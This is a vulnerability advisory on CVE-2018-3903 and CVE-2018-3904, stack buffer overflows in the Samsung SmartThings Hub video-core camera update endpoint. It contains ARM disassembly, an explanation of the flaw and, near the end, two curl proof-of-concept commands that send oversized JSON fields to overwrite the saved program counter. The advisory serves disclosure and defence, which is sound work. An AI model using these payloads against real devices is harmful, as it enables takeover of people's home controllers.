Lucene search

K
seebugMy SeebugSSV:97458
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub video-core Camera Update Code Execution Vulnerabilities(CVE-2018-3903 - CVE-2018-3904)

2018-07-3000:00:00
My Seebug
www.seebug.org
536

0.001 Low

EPSS

Percentile

40.1%

Summary

Multiple exploitable buffer overflow vulnerabilities exist in the camera
“update” feature of video-core’s HTTP server of Samsung SmartThings
Hub. The video-core process incorrectly extracts fields from a
user-controlled JSON payload, leading to a buffer overflow on the stack.
An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer
Overflow’)

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The remote SmartThings servers have the possibility to communicate with
the video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.

We identified a vulnerable request that can be exploited to achieve code
execution on the video-core process, which is running as root. By
sending a PATCH request for the /cameras/<camera-id> path it’s
possible to replace the URL and the “state” value of an existing camera.

Such request is handled by function sub_49B4C:

.text:00049B4C     sub_49B4C
.text:00049B4C
.text:00049B4C 000        STMFD           SP!, {R4-R11,LR}
.text:00049B50 024        ADD             R12, R3, #8
.text:00049B54 024        ADD             R11, SP, #0x20
.text:00049B58 024        SUB             SP, SP, #0x3580
.text:00049B5C 35A4       BIC             R12, R12, #7
.text:00049B60 35A4       SUB             SP, SP, #0x2C
.text:00049B64 35D0       SUB             R4, R11, #-var_3000
...
.text:00049BCC 35D0       BL              http_required_json_parameters  ; [1]
...
.text:00049C90 000        BL              json_tokener_parse             ; [2]
...
.text:00049D10 000        BL              db_camera_by_id                ; [3]
.text:00049D14 000        SUB             R3, R11, #-var_3580
.text:00049D18 000        CMN             R0, #4
.text:00049D1C 000        SUB             R3, R3, #0x2C
.text:00049D20 000        LDR             R12, [R3]
.text:00049D24 000        BEQ             loc_49FD8
.text:00049D28 000        CMP             R8, #0
.text:00049D2C 000        BNE             loc_4A270
...
.text:0004A130     loc_4A130
.text:0004A130 000        SUB             R3, R11, #-var_3580
.text:0004A134 000        MOV             R1, #:lower16:state            ; "state"
.text:0004A138 000        SUB             R3, R3, #0x30
.text:0004A13C 000        STR             R12, [R3]
.text:0004A140 000        SUB             R3, R11, #-var_3580
.text:0004A144 000        MOVT            R1, #:upper16:state            ; "state"
.text:0004A148 000        SUB             R3, R3, #0x2C
.text:0004A14C 000        LDR             R2, [R3]
.text:0004A150 000        SUB             R3, R11, #-var_3580
.text:0004A154 000        SUB             R3, R3, #0x28
.text:0004A158 000        LDR             R0, [R3]                       ; jso
.text:0004A15C 000        BL              json_object_object_get_ex      ; [4]
.text:0004A160 000        SUB             R3, R11, #-var_3580
.text:0004A164 000        CMP             R0, #0
.text:0004A168 000        SUB             R3, R3, #0x30
.text:0004A16C 000        LDR             R12, [R3]
.text:0004A170 000        BNE             loc_4A180
...
.text:0004A180     loc_4A180
.text:0004A180 000        SUB             R3, R11, #-var_3580
.text:0004A184 000        LDR             R0, [R4,#-0x580]
.text:0004A188 000        SUB             R3, R3, #0x2C
.text:0004A18C 000        STR             R12, [R3]
.text:0004A190 000        BL              json_object_to_json_string     ; [5]
.text:0004A194 000        SUB             R3, R11, #-var_3580
.text:0004A198 000        SUBS            R5, R0, #0
.text:0004A19C 000        SUB             R3, R3, #0x2C
.text:0004A1A0 000        LDR             R12, [R3]
.text:0004A1A4 000        BEQ             loc_4A3CC
.text:0004A1A8 000        BL              strlen                         ; [6]
.text:0004A1AC 000        SUB             R3, R11, #-var_2040
.text:0004A1B0 000        MOV             R2, R0
.text:0004A1B4 000        SUB             R3, R3, #0x28
.text:0004A1B8 000        MOV             R1, R5
.text:0004A1BC 000        ADD             R0, R3, #0x810
.text:0004A1C0 000        ADD             R0, R0, #8
.text:0004A1C4 000        BL              memcpy                         ; [7]
.text:0004A1C8 000        MOV             R0, R5
.text:0004A1CC 000        BL              strlen
...
.text:0004A270     loc_4A270
.text:0004A270 000        SUB             R3, R11, #-var_3580
.text:0004A274 000        SUB             R2, R11, #-var_3580
.text:0004A278 000        SUB             R3, R3, #0x30
.text:0004A27C 000        STR             R12, [R3]
.text:0004A280 000        SUB             R3, R11, #-var_3580
.text:0004A284 000        SUB             R2, R2, #0x2C
.text:0004A288 000        SUB             R3, R3, #0x24
.text:0004A28C 000        MOV             R1, R7
.text:0004A290 000        STR             R3, [R2]
.text:0004A294 000        MOV             R2, R3
.text:0004A298 000        SUB             R3, R11, #-var_3580
.text:0004A29C 000        MOV             R6, #:lower16:debug_log
.text:0004A2A0 000        SUB             R3, R3, #0x28
.text:0004A2A4 000        LDR             R0, [R3]                       ; jso
.text:0004A2A8 000        BL              json_object_object_get_ex      ; [4]
.text:0004A2AC 000        SUB             R3, R11, #-var_3580
.text:0004A2B0 000        CMP             R0, #0
.text:0004A2B4 000        SUB             R3, R3, #0x30
...
.text:0004A2D0 000        SUB             R3, R11, #-var_3580
.text:0004A2D4 000        LDR             R0, [R4,#-0x580]
.text:0004A2D8 000        SUB             R3, R3, #0x30
.text:0004A2DC 000        STR             R12, [R3]
.text:0004A2E0 000        BL              json_object_to_json_string     ; [5]
.text:0004A2E4 000        SUB             R3, R11, #-var_3580
.text:0004A2E8 000        SUBS            R5, R0, #0
.text:0004A2EC 000        SUB             R3, R3, #0x30
.text:0004A2F0 000        LDR             R12, [R3]
.text:0004A2F4 000        BEQ             loc_4A44C
.text:0004A2F8 000        BL              strlen                         ; [6]
.text:0004A2FC 000        SUB             R3, R11, #-var_2040
.text:0004A300 000        MOV             R2, R0
.text:0004A304 000        SUB             R3, R3, #0x24
.text:0004A308 000        MOV             R1, R5
.text:0004A30C 000        ADD             R0, R3, #0x610
.text:0004A310 000        BL              memcpy                         ; [7]
.text:0004A314 000        MOV             R0, R5
.text:0004A318 000        BL              strlen
.text:0004A31C 000        SUB             R3, R11, #-var_1A40
.text:0004A320 000        SUB             R3, R3, #0x18
.text:0004A324 000        STR             R0, [R3]
.text:0004A328 000        SUB             R3, R11, #-var_3580
.text:0004A32C 000        SUB             R3, R3, #0x30
.text:0004A330 000        LDR             R12, [R3]
.text:0004A334 000        CMP             R12, #0
.text:0004A338 000        BNE             loc_4A130
...

Note that the binary embeds the “json-c”
library
that is used to manage JSON
objects.

The function initially calls http_required_json_parameters at [1] to
verify that all the required parameters are specified in the JSON
request, the parameters are url and state. The JSON payload sent in
the request is then parsed using json_tokener_parse [2] and the
“camera-id” specified in the request path is verified to exist in the
database [3]. Then, both url and state parameters are extracted
using the following sequence:

- Call to `json_object_object_get_ex` [4] and `json_object_to_json_string` [5] for extracting a parameter by key name.
- Copy the parameter value in a buffer on the stack, using `strlen` [6] and `memcpy` [7].

We can see that the length value for the memcpy call is set from the
strlen output of the source string itself. At high level this would
be:

memcpy(stack_buffer, json_parameter, strlen(json_parameter));

Since json_parameter is controlled by the user, there is no
restriction on the length of the copy operation, which allows for
overflowing the stack buffer and execute arbitrary code.

We identified two different vectors that allow for exploiting this
vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send
    arbitrary HTTP requests to hubCore that would be relayed without
    modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for the creation of custom applications
    that can be either published directly into the device itself or on
    the public marketplace. A SmartApp is executed inside the hubCore
    process and is allowed to make any localhost connection. It is thus
    possible for a SmartApp to send arbitrary HTTP requests directly to
    the vulnerable video-core process.

A third vector might exist, which we decided not to test to avoid
damaging any live infrastructure. This would consist of sending a
malicious request from the SmartThings mobile application to the remote
SmartThings servers. In turn, depending on the remote APIs available,
the servers could relay the malicious payload back to the device via the
persistent TLS connection. To use this vector, an attacker would need to
own a valid OAuth bearer token, or the relative username and password
pair to obtain it.

The following is a list of each vulnerability and its proof of concept.
A key with value “x” means that its value is irrelevant, but the key
still needs to be present. It’s also assumed that a camera is already
present and its id is represented by the variable “${sCameraId}”.

CVE-2018-3903 - “url” key

The memcpy call overflows the destination buffer, which has a size of
512 bytes. An attacker can send an arbitrarily long “url” value in order
to overwrite the saved-PC with 0x42424242:

$ curl -X PATCH "http://127.0.0.1:3000/cameras/${sCameraId}" -d '{"url":"'$(perl -e 'print "A"x6740')BBBBX'","state":"x"}'

CVE-2018-3904 - “state” key

The memcpy call overflows the destination buffer, which has a size of
512 bytes. An attacker can send an arbitrarily long “state” value in
order to overwrite the saved-PC with 0x42424242:

$ curl -X PATCH "http://127.0.0.1:3000/cameras/${sCameraId}" -d '{"url":"x","state":"'$(perl -e 'print "A"x6224')BBBBX'"}'

Timeline

  • 2018-04-16 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.001 Low

EPSS

Percentile

40.1%